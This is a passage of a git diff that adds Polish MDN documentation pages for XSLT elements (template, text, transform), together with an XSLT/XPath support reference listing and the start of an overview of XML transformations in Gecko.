<dl><dt>extension-element-prefixes (Nieobsługiwany.) </dt><dd>Określa listę oddzielonych spacjami prefiksów przestrzeni nazw dla elementów rozszerzenia wewnątrz tego dokumentu. </dd></dl> <dl><dt>exclude-result-prefixes </dt><dd>Określa dowolną przestrzeń nazw użytą w tym dokumencie, która nie powinna zostać wysłana do dokumentu wyjściowego. Lista jest oddzielona za pomocą białych znaków. </dd></dl> +<h3 id="Typ" name="Typ">Typ</h3> +<p>Wymagany, najbardziej zewnętrzny element arkusza.</p> +<h3 id="Definicja" name="Definicja">Definicja</h3> +<p>XSLT, sekcja 2.2.</p> +<h3 id="Gecko" name="Gecko">Gecko</h3> +<p>Częściowo obsługuje. Zobacz powyższe komentarze.</p> +<p>{{ languages( { "en": "en/XSLT/stylesheet", "fr": "fr/XSLT/stylesheet" } ) }}</p> diff --git a/files/pl/web/xslt/template/index.html b/files/pl/web/xslt/template/index.html new file mode 100644 index 0000000000..b428b9eaf0 --- /dev/null +++ b/files/pl/web/xslt/template/index.html @@ -0,0 +1,47 @@ +--- +title: template +slug: Web/XSLT/template +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/template +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:template></code> definiuje szablon produkujący wyjście. Ten element musi posiadać ustawiony atrybut match lub atrybut name. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:template + match=WZORZEC + name=NAZWA + mode=NAZWA + priority=LICZBA> + <xsl:param> [opcjonalnie] + SZABLON +</xsl:template></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<p>Brak. +</p> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<dl><dt><code>match</code> +</dt><dd>Określa wzór, który warunkuje elementy, dla których szablon ten powinien zostać użyty. Jest to wymagany atrybut, gdy nie został zdefiniowany atrybut <code>name</code>. +</dd></dl> +<dl><dt><code>name</code> +</dt><dd>Określa dla szablonu nazwę, za pomocą której może on być wywołany przez element <code><xsl:call-template></code>. +</dd></dl> +<dl><dt><code>mode</code> +</dt><dd>Określa dla szablonu konkretny tryb, który może być dobrany przez atrybut elementu <code><xsl:apply-templates></code>. Jest to użyteczne przy przetwarzaniu tej samej informacji na różne sposoby. +</dd></dl> +<dl><dt><code>priority</code> +</dt><dd>Określa numeryczny priorytet dla tego szablonu. Może to być dowolna liczba różna od <code>Infinity</code>. Procesor używa tej liczby, gdy więcej niż jeden szablon dobiera ten sam węzeł. +</dd></dl> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Element najwyższego poziomu, musi być dzieckiem <code><xsl:stylesheet></code> lub <code><xsl:transform></code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 5.3. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/template", "fr": "fr/XSLT/template" } ) }} diff --git a/files/pl/web/xslt/text/index.html b/files/pl/web/xslt/text/index.html new file mode 100644 index 0000000000..af8c6473af --- /dev/null +++ b/files/pl/web/xslt/text/index.html @@ -0,0 +1,34 @@ +--- +title: text +slug: Web/XSLT/text +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/text +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:text></code> zapisuje tekst literałowy do drzewa wyjściowego. Może on zawierać elementy <code>#PCDATA</code>, tekst literałowy i referencje encji. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:text disable-output-escaping="yes" | "no"> + TEKST +</xsl:text> </pre> +<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<p>Brak. +</p> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<dl><dt><code>disable-output-escaping</code> (Netscape nie dzieli wyników przekształcenia - poniższego "wyjścia" - dlatego atrybut ten jest w zasadzie nieistotny w znaczeniu. Aby otrzymać na wyjściu encje html użyj wartości numerycznych, np. <code>&#160</code> dla <code>&nbsp</code>) +</dt><dd>Określa czy znaki specjalne są pomijane przy zapisywaniu do wyjścia. Dostępne wartości to "<code>yes</code>" lub "<code>no</code>". Przykładowo, jeżeli ustawiona jest wartość "<code>yes</code>", <tt>></tt> jest wyświetlane jako <code>></code>, a nie jako "<code>&gt</code>". +</dd></dl> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja, pojawia się wewnątrz szablonu. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 7.2 +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje jak wspomniano wyżej. +</p>{{ languages( { "en": "en/XSLT/text", "fr": "fr/XSLT/text" } ) }} diff --git a/files/pl/web/xslt/transform/index.html b/files/pl/web/xslt/transform/index.html new file mode 100644 index 0000000000..8fc9637505 --- /dev/null +++ b/files/pl/web/xslt/transform/index.html @@ -0,0 +1,17 @@ +--- +title: transform +slug: Web/XSLT/transform +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/transform +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:transform></code> jest dokładnie równoważny elementowi <code><a href="pl/XSLT/stylesheet"><xsl:stylesheet></a></code>. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/transform", "fr": "fr/XSLT/transform" } ) }} diff --git a/files/pl/web/xslt/transformacje_xml_z_xslt/dokumentacja_xslt_xpath/index.html b/files/pl/web/xslt/transformacje_xml_z_xslt/dokumentacja_xslt_xpath/index.html new file mode 100644 index 0000000000..59da884b56 --- /dev/null +++ b/files/pl/web/xslt/transformacje_xml_z_xslt/dokumentacja_xslt_xpath/index.html @@ -0,0 +1,243 @@ +--- +title: Dokumentacja XSLT/XPath +slug: Web/XSLT/Transformacje_XML_z_XSLT/Dokumentacja_XSLT_XPath +tags: + - Dokumentacje + - Wszystkie_kategorie + - XPath + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference +--- +<p> +{{ XsltRef() }} +Alfabetyczna lista elementów objaśniająca, wyrażenia i funkcje stanowiące rekomendację W3C XSLT 1.0 i tak samo jak z odpowiednie sekcje rekomendacji XPath. Rozwój procesora XSLT jest w toku i ten dokument będzie aktualizowany pod względem funkcjonalności w miarę jak bedzie się on rozszerzał. </p> +<h3 id="Elementy" name="Elementy"> <a href="pl/XSLT/Elementy">Elementy</a> </h3> +<h4 id="xsl:apply-imports" name="xsl:apply-imports"> <a href="pl/XSLT/apply-imports">xsl:apply-imports</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:apply-templates" name="xsl:apply-templates"> <a href="pl/XSLT/apply-templates">xsl:apply-templates</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:attribute" name="xsl:attribute"> <a href="pl/XSLT/attribute">xsl:attribute</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:attribute-set" name="xsl:attribute-set"> <a href="pl/XSLT/attribute-set">xsl:attribute-set</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:call-template" name="xsl:call-template"> <a href="pl/XSLT/call-template">xsl:call-template</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:choose" name="xsl:choose"> <a href="pl/XSLT/choose">xsl:choose</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:comment" name="xsl:comment"> <a href="pl/XSLT/comment">xsl:comment</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:copy" name="xsl:copy"> <a href="pl/XSLT/copy">xsl:copy</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:copy-of" name="xsl:copy-of"> <a href="pl/XSLT/copy-of">xsl:copy-of</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:decimal-format" name="xsl:decimal-format"> <a href="pl/XSLT/decimal-format">xsl:decimal-format</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:element" name="xsl:element"> <a href="pl/XSLT/element">xsl:element</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:fallback" name="xsl:fallback"> <a href="pl/XSLT/fallback">xsl:fallback</a> </h4> +<p><i>(nie obsługiwany)</i> +</p> +<h4 id="xsl:for-each" name="xsl:for-each"> <a href="pl/XSLT/for-each">xsl:for-each</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:if" name="xsl:if"> <a href="pl/XSLT/if">xsl:if</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:import" name="xsl:import"> <a href="pl/XSLT/import">xsl:import</a> </h4> +<p><i>(przeważnie obsługiwany)</i> +</p> +<h4 id="xsl:include" name="xsl:include"> <a href="pl/XSLT/include">xsl:include</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:key" name="xsl:key"> <a href="pl/XSLT/key">xsl:key</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:message" name="xsl:message"> <a href="pl/XSLT/message">xsl:message</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:namespace-alias" name="xsl:namespace-alias"> <a href="pl/XSLT/namespace-alias">xsl:namespace-alias</a> </h4> +<p><i>(nie obsługiwany)</i> +</p> +<h4 id="xsl:number" name="xsl:number"> <a href="pl/XSLT/number">xsl:number</a> </h4> +<p><i>(częściowo obsługiwany)</i> +</p> +<h4 id="xsl:otherwise" name="xsl:otherwise"> <a href="pl/XSLT/otherwise">xsl:otherwise</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:output" name="xsl:output"> <a href="pl/XSLT/output">xsl:output</a> </h4> +<p><i>(częściowo obsługiwany)</i> +</p> +<h4 id="xsl:param" name="xsl:param"> <a href="pl/XSLT/param">xsl:param</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:preserve-space" name="xsl:preserve-space"> <a href="pl/XSLT/preserve-space">xsl:preserve-space</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:processing-instruction" name="xsl:processing-instruction"> <a href="pl/XSLT/processing-instruction">xsl:processing-instruction</a> </h4> +<h4 id="xsl:sort" name="xsl:sort"> <a href="pl/XSLT/sort">xsl:sort</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:strip-space" name="xsl:strip-space"> <a href="pl/XSLT/strip-space">xsl:strip-space</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:stylesheet" name="xsl:stylesheet"> <a href="pl/XSLT/stylesheet">xsl:stylesheet</a> </h4> +<p><i>(częściowo obsługiwany)</i> +</p> +<h4 id="xsl:template" name="xsl:template"> <a href="pl/XSLT/template">xsl:template</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:text" name="xsl:text"> <a href="pl/XSLT/text">xsl:text</a> </h4> +<p><i>(częściowo obsługiwany)</i> +</p> +<h4 id="xsl:transform" name="xsl:transform"> <a href="pl/XSLT/transform">xsl:transform</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:value-of" name="xsl:value-of"> <a href="pl/XSLT/value-of">xsl:value-of</a> </h4> +<p><i>(częściowo obsługiwany)</i> +</p> +<h4 id="xsl:variable" name="xsl:variable"> <a href="pl/XSLT/variable">xsl:variable</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:when" name="xsl:when"> <a href="pl/XSLT/when">xsl:when</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h4 id="xsl:with-param" name="xsl:with-param"> <a href="pl/XSLT/with-param">xsl:with-param</a> </h4> +<p><i>(obsługiwany)</i> +</p> +<h3 id="Osie_wierzcho.C5.82k.C3.B3w" name="Osie_wierzcho.C5.82k.C3.B3w"> <a href="pl/XPath/Osie">Osie wierzchołków</a> </h3> +<h4 id="ancestor" name="ancestor"> <a href="pl/XPath/Osie/ancestor">ancestor</a> </h4> +<h4 id="ancestor-or-self" name="ancestor-or-self"> <a href="pl/XPath/Osie/ancestor-or-self">ancestor-or-self</a> </h4> +<h4 id="attribute" name="attribute"> <a href="pl/XPath/Osie/attribute">attribute</a> </h4> +<h4 id="child" name="child"> <a href="pl/XPath/Osie/child">child</a> </h4> +<h4 id="descendant" name="descendant"> <a href="pl/XPath/Osie/descendant">descendant</a> </h4> +<h4 id="descendant-or-self" name="descendant-or-self"> <a href="pl/XPath/Osie/descendant-or-self">descendant-or-self</a> </h4> +<h4 id="following" name="following"> <a href="pl/XPath/Osie/following">following</a> </h4> +<h4 id="following-sibling" name="following-sibling"> <a href="pl/XPath/Osie/following-sibling">following-sibling</a> </h4> +<h4 id="namespace" name="namespace"> <a href="pl/XPath/Osie/namespace">namespace</a> </h4> +<dl><dd> <i>(nie obsługiwane)</i> +</dd></dl> +<h4 id="parent" name="parent"> <a href="pl/XPath/Osie/parent">parent</a> </h4> +<h4 id="preceding" name="preceding"> <a href="pl/XPath/Osie/preceding">preceding</a> </h4> +<h4 id="preceding-sibling" name="preceding-sibling"> <a href="pl/XPath/Osie/preceding-sibling">preceding-sibling</a> </h4> +<h4 id="self" name="self"> <a href="pl/XPath/Osie/self">self</a> </h4> +<h3 id="Funkcje" name="Funkcje"> <a href="pl/XPath/Funkcje">Funkcje</a> </h3> +<h4 id="boolean.28.29" name="boolean.28.29"> <a href="pl/XPath/Funkcje/boolean">boolean()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="ceiling.28.29" name="ceiling.28.29"> <a href="pl/XPath/Funkcje/ceiling">ceiling()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="concat.28.29" name="concat.28.29"> <a href="pl/XPath/Funkcje/concat">concat()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="contains.28.29" name="contains.28.29"> <a href="pl/XPath/Funkcje/contains">contains()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="count.28.29" name="count.28.29"> <a href="pl/XPath/Funkcje/count">count()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="current.28.29" name="current.28.29"> <a href="pl/XPath/Funkcje/current">current()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="document.28.29" name="document.28.29"> <a href="pl/XPath/Funkcje/document">document()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="element-available.28.29" name="element-available.28.29"> <a href="pl/XPath/Funkcje/element-available">element-available()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="false.28.29" name="false.28.29"> <a href="pl/XPath/Funkcje/false">false()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="floor.28.29" name="floor.28.29"> <a href="pl/XPath/Funkcje/floor">floor()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="format-number.28.29" name="format-number.28.29"> <a href="pl/XPath/Funkcje/format-number">format-number()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="function-available.28.29" name="function-available.28.29"> <a href="pl/XPath/Funkcje/function-available">function-available()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="generate-id.28.29" name="generate-id.28.29"> <a href="pl/XPath/Funkcje/generate-id">generate-id()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="id.28.29" name="id.28.29"> <a href="pl/XPath/Funkcje/id">id()</a> </h4> +<p><i>(częściowo obsługiwana)</i> +</p> +<h4 id="key.28.29" name="key.28.29"> <a href="pl/XPath/Funkcje/key">key()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="lang.28.29" name="lang.28.29"> <a href="pl/XPath/Funkcje/lang">lang()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="last.28.29" name="last.28.29"> <a href="pl/XPath/Funkcje/last">last()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="local-name.28.29" name="local-name.28.29"> <a href="pl/XPath/Funkcje/local-name">local-name()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="name.28.29" name="name.28.29"> <a href="pl/XPath/Funkcje/name">name()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="namespace-uri.28.29" name="namespace-uri.28.29"> <a href="pl/XPath/Funkcje/namespace-uri">namespace-uri()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="normalize-space.28.29" name="normalize-space.28.29"> <a href="pl/XPath/Funkcje/normalize-space">normalize-space()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="not.28.29" name="not.28.29"> <a href="pl/XPath/Funkcje/not">not()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="number.28.29" name="number.28.29"> <a href="pl/XPath/Funkcje/number">number()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="position.28.29" name="position.28.29"> <a href="pl/XPath/Funkcje/position">position()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="round.28.29" name="round.28.29"> <a href="pl/XPath/Funkcje/round">round()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="starts-with.28.29" name="starts-with.28.29"> <a href="pl/XPath/Funkcje/starts-with">starts-with()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="string.28.29" name="string.28.29"> <a href="pl/XPath/Funkcje/string">string()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="string-length.28.29" name="string-length.28.29"> <a href="pl/XPath/Funkcje/string-length">string-length()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="substring.28.29" name="substring.28.29"> <a href="pl/XPath/Funkcje/substring">substring()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="substring-after.28.29" name="substring-after.28.29"> <a href="pl/XPath/Funkcje/substring-after">substring-after()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="substring-before.28.29" name="substring-before.28.29"> <a href="pl/XPath/Funkcje/substring-before">substring-before()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="sum.28.29" name="sum.28.29"> <a href="pl/XPath/Funkcje/sum">sum()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="system-property.28.29" name="system-property.28.29"> <a href="pl/XPath/Funkcje/system-property">system-property()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="translate.28.29" name="translate.28.29"> <a href="pl/XPath/Funkcje/translate">translate()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="true.28.29" name="true.28.29"> <a href="pl/XPath/Funkcje/true">true()</a> </h4> +<p><i>(obsługiwana)</i> +</p> +<h4 id="unparsed-entity-url.28.29" name="unparsed-entity-url.28.29"> <a href="pl/XPath/Funkcje/unparsed-entity-url">unparsed-entity-url()</a> </h4> +<p><i>(nie obsługiwana)</i> +</p>{{ languages( { "en": "en/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference", "fr": "fr/Transformations_XML_avec_XSLT/La_r\u00e9f\u00e9rence_XSLT//XPath_de_Netscape", "ja": "ja/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference" } ) }} diff --git a/files/pl/web/xslt/transformacje_xml_z_xslt/index.html b/files/pl/web/xslt/transformacje_xml_z_xslt/index.html new file mode 100644 index 0000000000..b02e157f61 --- /dev/null +++ b/files/pl/web/xslt/transformacje_xml_z_xslt/index.html @@ -0,0 +1,147 @@ +--- +title: Transformacje XML z XSLT +slug: Web/XSLT/Transformacje_XML_z_XSLT +tags: + - Strony_wymagające_dopracowania + - Transformacje_XML_z_XSLT + - Wszystkie_kategorie + - XML + - XSLT +translation_of: Web/XSLT/Transforming_XML_with_XSLT +--- +<h3 id="Og.C3.B3lny_przegl.C4.85d" name="Og.C3.B3lny_przegl.C4.85d"><a href="pl/Transformacje_XML_z_XSLT/Og%c3%b3lny_przegl%c4%85d">Ogólny przegląd</a></h3> + +<p>The separation of content and presentation is a key design feature of <a href="pl/XML">XML</a>. The structure of an XML document is designed to reflect and clarify important relationships among the individual aspects of the content itself, unhindered by a need to provide any indication about how this data should eventually be presented. This intelligent structuring is particularly important as more and more data transfers are automated and take place between highly heterogeneous machines linked by a network.</p> + +<p>Yet eventually much of the content stored in XML documents will need to be presented to human readers. Because a browser provides a familiar and highly flexible interface, it is an ideal mechanism for delivering such presentation versions of XML content. Built from the ground up utilizing a wide variety of XML technologies, Mozilla incorporates within itself all of the mechanisms needed to process both original XML documents and the specialized stylesheets used to style and lay them out for HTML display, reducing server load with client-side processing.</p> + +<p>At present, Gecko (the layout engine behind Mozilla and Firefox) supports two forms of XML stylesheets. For basic control of appearance - fonts, colors, position, and so forth, Gecko uses <a href="pl/CSS">CSS</a>, familiar from <a href="pl/DHTML">DHTML</a>. All of CSS1 and most of CSS2 are supported. Support for the emerging CSS3 standard is under development. For further information about CSS, see <a class="external" href="http://www.meyerweb.com/eric/css/">Eric Meyer's CSS pages</a>. For an overview of CSS1 and Netscape, see this <a class="external" href="http://home.netscape.com/browsers/future/standards.html#1">Browser Central page</a>.</p> + +<p>Our focus here is on the second type of stylesheet that Gecko supports: the XSLT stylesheet. XSLT stands for eXtensible Stylesheet Language/Transform and the name is apt. XSLT allows a stylesheet author to transform a primary XML document in two significant ways: manipulating and sorting the content, including a wholesale reordering of it if so desired, and transforming the content into a different format (and in the case of Netscape, the focus is on converting it on the fly into HTML which can then be displayed by the browser).</p> + +<h3 id="Dokumentacja_XSLT.2FXPath" name="Dokumentacja_XSLT.2FXPath">Dokumentacja XSLT/XPath</h3> + +<h4 id="Elementy" name="Elementy"><a href="pl/XSLT/Elementy">Elementy</a></h4> + +<ul> + <li><a href="pl/XSLT/apply-imports">xsl:apply-imports</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/apply-templates">xsl:apply-templates</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/attribute">xsl:attribute</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/attribute-set">xsl:attribute-set</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/call-template">xsl:call-template</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/choose">xsl:choose</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/comment">xsl:comment</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/copy">xsl:copy</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/copy-of">xsl:copy-of</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/decimal-format">xsl:decimal-format</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/element">xsl:element</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/fallback">xsl:fallback</a><em>(nie obsługiwany)</em></li> + <li><a href="pl/XSLT/for-each">xsl:for-each</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/if">xsl:if</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/import">xsl:import</a><em>(przeważnie obsługiwany)</em></li> + <li><a href="pl/XSLT/include">xsl:include</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/key">xsl:key</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/message">xsl:message</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/namespace-alias">xsl:namespace-alias</a><em>(nie obsługiwany)</em></li> + <li><a href="pl/XSLT/number">xsl:number</a><em>(częściowo obsługiwany)</em></li> + <li><a href="pl/XSLT/otherwise">xsl:otherwise</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/output">xsl:output</a><em>(częściowo obsługiwany)</em></li> + <li><a href="pl/XSLT/param">xsl:param</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/preserve-space">xsl:preserve-space</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/processing-instruction">xsl:processing-instruction</a></li> + <li><a href="pl/XSLT/sort">xsl:sort</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/strip-space">xsl:strip-space</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/stylesheet">xsl:stylesheet</a><em>(częściowo obsługiwany)</em></li> + <li><a href="pl/XSLT/template">xsl:template</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/text">xsl:text</a><em>(częściowo obsługiwany)</em></li> + <li><a href="pl/XSLT/transform">xsl:transform</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/value-of">xsl:value-of</a><em>(częściowo obsługiwany)</em></li> + <li><a href="pl/XSLT/variable">xsl:variable</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/when">xsl:when</a><em>(obsługiwany)</em></li> + <li><a href="pl/XSLT/with-param">xsl:with-param</a><em>(obsługiwany)</em></li> +</ul> + +<h4 id="Osie_wierzcho.C5.82k.C3.B3w" name="Osie_wierzcho.C5.82k.C3.B3w"><a href="pl/XPath/Osie">Osie wierzchołków</a></h4> + +<ul> + <li><a href="pl/XPath/Osie/ancestor">ancestor</a></li> + <li><a href="pl/XPath/Osie/ancestor-or-self">ancestor-or-self</a></li> + <li><a href="pl/XPath/Osie/attribute">attribute</a></li> + <li><a href="pl/XPath/Osie/child">child</a></li> + <li><a href="pl/XPath/Osie/descendant">descendant</a></li> + <li><a href="pl/XPath/Osie/descendant-or-self">descendant-or-self</a></li> + <li><a href="pl/XPath/Osie/following">following</a></li> + <li><a href="pl/XPath/Osie/following-sibling">following-sibling</a></li> + <li><a href="pl/XPath/Osie/namespace">namespace</a><em>(nie obsługiwana)</em></li> + <li><a href="pl/XPath/Osie/parent">parent</a></li> + <li><a href="pl/XPath/Osie/preceding">preceding</a></li> + <li><a href="pl/XPath/Osie/preceding-sibling">preceding-sibling</a></li> + <li><a href="pl/XPath/Osie/self">self</a></li> +</ul> + +<h4 id="Funkcje" name="Funkcje"><a href="pl/XPath/Funkcje">Funkcje</a></h4> + +<ul> + <li><a href="pl/XPath/Funkcje/boolean">boolean()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/ceiling">ceiling()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/concat">concat()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/contains">contains()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/count">count()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/current">current()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/document">document()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/element-available">element-available()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/false">false()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/floor">floor()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/format-number">format-number()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/function-available">function-available()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/generate-id">generate-id()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/id">id()</a><em>(częściowo obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/key">key()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/lang">lang()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/last">last()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/local-name">local-name()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/name">name()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/namespace-uri">namespace-uri()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/normalize-space">normalize-space()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/not">not()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/number">number()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/position">position()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/round">round()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/starts-with">starts-with()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/string">string()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/string-length">string-lenght()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/substring">substring()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/substring-after">substring-after()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/substring-before">substring-before()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/sum">sum()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/system-property">system-property()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/translate">translate()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/true">true()</a><em>(obsługiwana)</em></li> + <li><a href="pl/XPath/Funkcje/unparsed-entity-url">unparsed-entity-url()</a><em>(nie obsługiwana)</em></li> +</ul> + +<h3 id="Przeczytaj_wi.C4.99cej" name="Przeczytaj_wi.C4.99cej"><a 